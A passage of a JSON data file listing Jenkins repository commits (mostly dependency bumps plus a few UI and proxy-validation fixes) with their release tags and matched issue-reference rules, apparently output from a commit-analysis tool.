"jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8764", - "relevance": 2 - } - ] - }, - { - "commit_id": "8fbe0d39defc021dda6bf173280476dc6258a490", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701990457, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8760": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8760", - "relevance": 2 - } - ] - }, - { - "commit_id": "3273aecb70d73aa58b4bbedf3195eb3f874a8fe6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701893909, - "hunks": 2, - "message": "Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759)", - "changed_files": [ - ".github/workflows/changelog.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8759": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8759", - "relevance": 2 - } - ] - }, - { - "commit_id": "1dac7b7c76292da71c95d865df4f01fe51cd0818", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701876739, - "hunks": 1, - "message": "Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps commons-logging:commons-logging from 1.2 to 1.3.0. --- updated-dependencies: - dependency-name: commons-logging:commons-logging dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8732": "Testing jenkinsci/jenkins#8732 jenkinsci/bom#2722" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8732", - "relevance": 2 - } - ] - }, - { - "commit_id": "bf90ba4e66176d45cbf6f5e6d0c35c92b3fe7c46", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701876623, - "hunks": 1, - "message": "Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8730": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8730", - "relevance": 2 - } - ] - }, - { - "commit_id": "37ab66e20c7300a289fb80ef952821d5209acd7c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701876448, - "hunks": 2, - "message": "Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/changelog.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8747": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8747", - "relevance": 2 - } - ] - }, - { - "commit_id": "5cb3fa236764330e83780389fabb9f29e4beb75f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701818464, - "hunks": 4, - "message": "Update dependency eslint-config-prettier to v9.1.0 (#8750) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8750": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8750", - "relevance": 2 - } - ] - }, - { - "commit_id": "c49faf87a87fb6e1e446f46df7eb2eab0215a960", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701818400, - "hunks": 4, - "message": "Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1 (#8744) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8744": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8744", - "relevance": 2 - } - ] - }, - { - "commit_id": "fb3b760c458d5bad88385db5c44ac60543d88a18", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701802130, - "hunks": 1, - "message": "Fixup yarn update to 4.0.2 (#8742)", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8742": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8742", - "relevance": 2 - } - ] - }, - { - "commit_id": "1dbfc627594aba8af12dc87af6d8d591aaaa2490", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701802089, - "hunks": 7, - "message": "Update dependency postcss to v8.4.32 (#8749) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8749": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8749", - "relevance": 2 - } - ] - }, - { - "commit_id": "17869eafc50efcf686aeb82956f4074819741286", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701757736, - "hunks": 8, - "message": "Update dependency eslint to v8.55.0 (#8748) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8748": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8748", - "relevance": 2 - } - ] - }, - { - "commit_id": "b8344b98ec9c514e40d0e48f95957253f645be07", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701757710, - "hunks": 12, - "message": "[JENKINS-72343] Accept all 2xx and 3xx status codes to validate proxy in HTTP Proxy Configuration (#8700) * Accept all 2xx and 3xx status codes validate proxy in HTTP Proxy Configuration * add status code in the response to the user", - "changed_files": [ - "core/src/main/java/hudson/ProxyConfiguration.java", - "core/src/main/resources/hudson/Messages.properties", - "core/src/main/resources/hudson/Messages_bg.properties", - "core/src/main/resources/hudson/Messages_de.properties", - "core/src/main/resources/hudson/Messages_es.properties", - "core/src/main/resources/hudson/Messages_fr.properties", - "core/src/main/resources/hudson/Messages_it.properties", - "core/src/main/resources/hudson/Messages_ja.properties", - "core/src/main/resources/hudson/Messages_pt_BR.properties", - "core/src/main/resources/hudson/Messages_ru.properties", - "core/src/main/resources/hudson/Messages_sr.properties", - "core/src/main/resources/hudson/Messages_zh_TW.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8700": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8700", - "relevance": 2 - } - ] - }, - { - "commit_id": "62d22f3277a3c4a7cd0b74b6ffe1bfc2e5775ed3", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701757643, - "hunks": 1, - "message": "do not specify anti-aliasing (#8689) specifying the anti-aliasing implies we know better than the browser (we don't). Specifiying this globally prevents the use of sub-pixel anti-aliasing where it is available and the browsers text rendering engines are these days pretty much fantastic that they should not need these hacks. and for good measure - here is an article from 10 years ago https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/ and the mozilla doc saying do not use it on a public facing web site. https://developer.mozilla.org/en-US/docs/Web/CSS/font-smooth", - "changed_files": [ - "war/src/main/scss/base/_core.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8689": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8689", - "relevance": 2 - } - ] - }, - { - "commit_id": "dc983d0409668be74d28c91fa5dda4a1e076a78d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701677760, - "hunks": 1, - "message": "[JENKINS-72196] avoid wrong styling when deleting the first of 2 shell steps (#8739) move link elements to head fixes JENKINS-72196 when in a form there are repeatables that both contain a codemirror config via a textarea. When deleting the first of those it can happen that the link elements importing the css for codemirror are defined in a div that gets deleted. This effectively removes the css from the DOM tree, so that other textareas afterwards that also require the codemirror css are no longer styled properly. The Behaviour uses a high negative value for the priority so that the move of the link elements is applied before any other behaviour jumps in, e.g. hetero-list and repeatable add the elements to the dom via jelly of all things can that can be added and later remove them from the dom and keep them in memory.", - "changed_files": [ - "war/src/main/webapp/scripts/hudson-behavior.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8739": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8739", - "relevance": 2 - } - ] - }, - { - "commit_id": "ee6535f13df77aa40422ae43c6ab9776e3659a56", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701677724, - "hunks": 3, - "message": "Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8741": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - 